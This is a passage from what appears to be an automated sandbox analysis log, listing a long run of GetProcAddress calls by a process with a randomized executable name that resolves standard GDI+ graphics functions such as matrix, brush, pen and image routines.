00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipIsVisiblePathPoint (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipIsVisiblePathPointI (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipIsOutlineVisiblePathPoint (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipIsOutlineVisiblePathPointI (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipCreatePathIter (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipDeletePathIter (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipPathIterNextSubpath (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipPathIterNextSubpathPath (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipPathIterNextPathType (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipPathIterNextMarker (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipPathIterNextMarkerPath (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipPathIterGetCount (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipPathIterGetSubpathCount (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipPathIterIsValid (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipPathIterHasCurve (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipPathIterRewind (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipPathIterEnumerate (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipPathIterCopyData (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipCreateMatrix (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipCreateMatrix2 (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipCreateMatrix3 (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipCreateMatrix3I (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipCloneMatrix (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipDeleteMatrix (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipSetMatrixElements (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipMultiplyMatrix (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipTranslateMatrix (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipScaleMatrix (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipRotateMatrix (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipShearMatrix (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipInvertMatrix (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipTransformMatrixPoints (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipTransformMatrixPointsI (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipVectorTransformMatrixPoints (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipVectorTransformMatrixPointsI (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetMatrixElements (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipIsMatrixInvertible (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipIsMatrixIdentity (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipIsMatrixEqual (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipCreateRegion (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipCreateRegionRect (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipCreateRegionRectI (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipCreateRegionPath (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipCreateRegionRgnData (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipCreateRegionHrgn (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipCloneRegion (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipDeleteRegion (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipSetInfinite (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipSetEmpty (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipCombineRegionRect (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipCombineRegionRectI (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipCombineRegionPath (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipCombineRegionRegion (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipTranslateRegion (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipTranslateRegionI (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipTransformRegion (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetRegionBounds (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetRegionBoundsI (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetRegionHRgn (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipIsEmptyRegion (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipIsInfiniteRegion (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipIsEqualRegion (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetRegionDataSize (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetRegionData (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipIsVisibleRegionPoint (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipIsVisibleRegionPointI (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipIsVisibleRegionRect (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipIsVisibleRegionRectI (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetRegionScansCount (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetRegionScans (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetRegionScansI (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipCloneBrush (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipDeleteBrush (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetBrushType (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipCreateHatchBrush (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetHatchStyle (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetHatchForegroundColor (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetHatchBackgroundColor (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipCreateTexture (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipCreateTexture2 (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipCreateTextureIA (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipCreateTexture2I (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipCreateTextureIAI (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetTextureTransform (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipSetTextureTransform (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipResetTextureTransform (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipMultiplyTextureTransform (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipTranslateTextureTransform (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipScaleTextureTransform (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipRotateTextureTransform (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipSetTextureWrapMode (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetTextureWrapMode (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetTextureImage (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipCreateSolidFill (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipSetSolidFillColor (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetSolidFillColor (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipCreateLineBrush (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipCreateLineBrushI (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipCreateLineBrushFromRect (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipCreateLineBrushFromRectI (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipCreateLineBrushFromRectWithAngle (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipCreateLineBrushFromRectWithAngleI (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipSetLineColors (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetLineColors (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetLineRect (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetLineRectI (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipSetLineGammaCorrection (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetLineGammaCorrection (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetLineBlendCount (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetLineBlend (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipSetLineBlend (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetLinePresetBlendCount (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetLinePresetBlend (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipSetLinePresetBlend (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipSetLineSigmaBlend (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipSetLineLinearBlend (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipSetLineWrapMode (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetLineWrapMode (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetLineTransform (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipSetLineTransform (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipResetLineTransform (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipMultiplyLineTransform (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipTranslateLineTransform (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipScaleLineTransform (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipRotateLineTransform (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipCreatePathGradient (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipCreatePathGradientI (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipCreatePathGradientFromPath (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetPathGradientCenterColor (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipSetPathGradientCenterColor (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetPathGradientSurroundColorsWithCount (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipSetPathGradientSurroundColorsWithCount (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetPathGradientPath (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipSetPathGradientPath (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetPathGradientCenterPoint (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetPathGradientCenterPointI (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipSetPathGradientCenterPoint (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipSetPathGradientCenterPointI (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetPathGradientRect (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetPathGradientRectI (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetPathGradientPointCount (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetPathGradientSurroundColorCount (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipSetPathGradientGammaCorrection (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetPathGradientGammaCorrection (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetPathGradientBlendCount (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetPathGradientBlend (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipSetPathGradientBlend (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetPathGradientPresetBlendCount (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetPathGradientPresetBlend (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipSetPathGradientPresetBlend (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipSetPathGradientSigmaBlend (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipSetPathGradientLinearBlend (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetPathGradientWrapMode (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipSetPathGradientWrapMode (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetPathGradientTransform (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipSetPathGradientTransform (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipResetPathGradientTransform (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipMultiplyPathGradientTransform (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipTranslatePathGradientTransform (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipScalePathGradientTransform (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipRotatePathGradientTransform (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetPathGradientFocusScales (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipSetPathGradientFocusScales (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipCreatePen1 (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipCreatePen2 (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipClonePen (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipDeletePen (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipSetPenWidth (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetPenWidth (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipSetPenUnit (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetPenUnit (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipSetPenLineCap197819 (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipSetPenStartCap (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipSetPenEndCap (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipSetPenDashCap197819 (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetPenStartCap (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetPenEndCap (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetPenDashCap197819 (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipSetPenLineJoin (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetPenLineJoin (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipSetPenCustomStartCap (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetPenCustomStartCap (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipSetPenCustomEndCap (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetPenCustomEndCap (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipSetPenMiterLimit (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetPenMiterLimit (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipSetPenMode (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetPenMode (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipSetPenTransform (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetPenTransform (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipResetPenTransform (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipMultiplyPenTransform (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipTranslatePenTransform (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipScalePenTransform (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipRotatePenTransform (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipSetPenColor (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetPenColor (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipSetPenBrushFill (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetPenBrushFill (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetPenFillType (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetPenDashStyle (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipSetPenDashStyle (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetPenDashOffset (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipSetPenDashOffset (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetPenDashCount (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipSetPenDashArray (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetPenDashArray (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetPenCompoundCount (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipSetPenCompoundArray (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetPenCompoundArray (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipCreateCustomLineCap (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipDeleteCustomLineCap (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipCloneCustomLineCap (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetCustomLineCapType (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipSetCustomLineCapStrokeCaps (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetCustomLineCapStrokeCaps (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipSetCustomLineCapStrokeJoin (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetCustomLineCapStrokeJoin (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipSetCustomLineCapBaseCap (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetCustomLineCapBaseCap (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipSetCustomLineCapBaseInset (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetCustomLineCapBaseInset (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipSetCustomLineCapWidthScale (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetCustomLineCapWidthScale (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipCreateAdjustableArrowCap (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipSetAdjustableArrowCapHeight (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetAdjustableArrowCapHeight (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipSetAdjustableArrowCapWidth (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetAdjustableArrowCapWidth (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipSetAdjustableArrowCapMiddleInset (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetAdjustableArrowCapMiddleInset (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipSetAdjustableArrowCapFillState (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetAdjustableArrowCapFillState (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipLoadImageFromStream (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipLoadImageFromFile (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipLoadImageFromStreamICM (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipLoadImageFromFileICM (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipCloneImage (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called 